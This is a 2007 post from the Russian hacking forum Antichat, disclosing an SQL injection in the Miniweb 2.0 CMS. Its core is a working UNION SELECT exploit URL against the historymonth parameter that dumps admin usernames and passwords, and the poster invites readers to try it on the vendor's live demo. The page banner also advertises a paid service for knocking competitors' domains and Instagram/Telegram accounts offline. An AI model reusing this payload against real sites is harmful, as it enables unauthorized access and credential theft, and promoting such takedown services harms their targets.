Miniweb 2.0

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Miniweb 2.0

Опции темы

Поиск в этой теме

Опции просмотра

Miniweb 2.0

08.12.2007, 03:59

Constantine

Members of Antichat - Level 5

Регистрация: 24.11.2006

Сообщений: 927

С нами: 10243046

Репутация: 3033

Miniweb 2.0

Сайт производителя : http://www.miniweb2.com/15modules/blog-writer.htm

Уязвимость: не фильтруется переменная в параметре historymonth, скрипта index.php

Сплойт:

PHP код:


		
			
http://localhost/index.php?historyyear=2007&historymonth=-12+union+select+1,2,concat(user_id,0x3a,username,0x3a,password),0,5,6,7,8,9,0+from+admin_access/*

Потестить можно на демоверсии на сайте производителя.
з\ы алгоритм шифрования пароля для меня остался загадкой

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

Последний раз редактировалось Constantine; 08.12.2007 в 05:15..

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Фильм - Сеть 2.0 /Net 2.0, The/ (2006)	PEPSICOLA	Болталка	7	07.02.2006 22:10
Проложение витых пар в городских домах	Рогатый Трупоед	"Железо"	11	20.09.2004 09:08

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход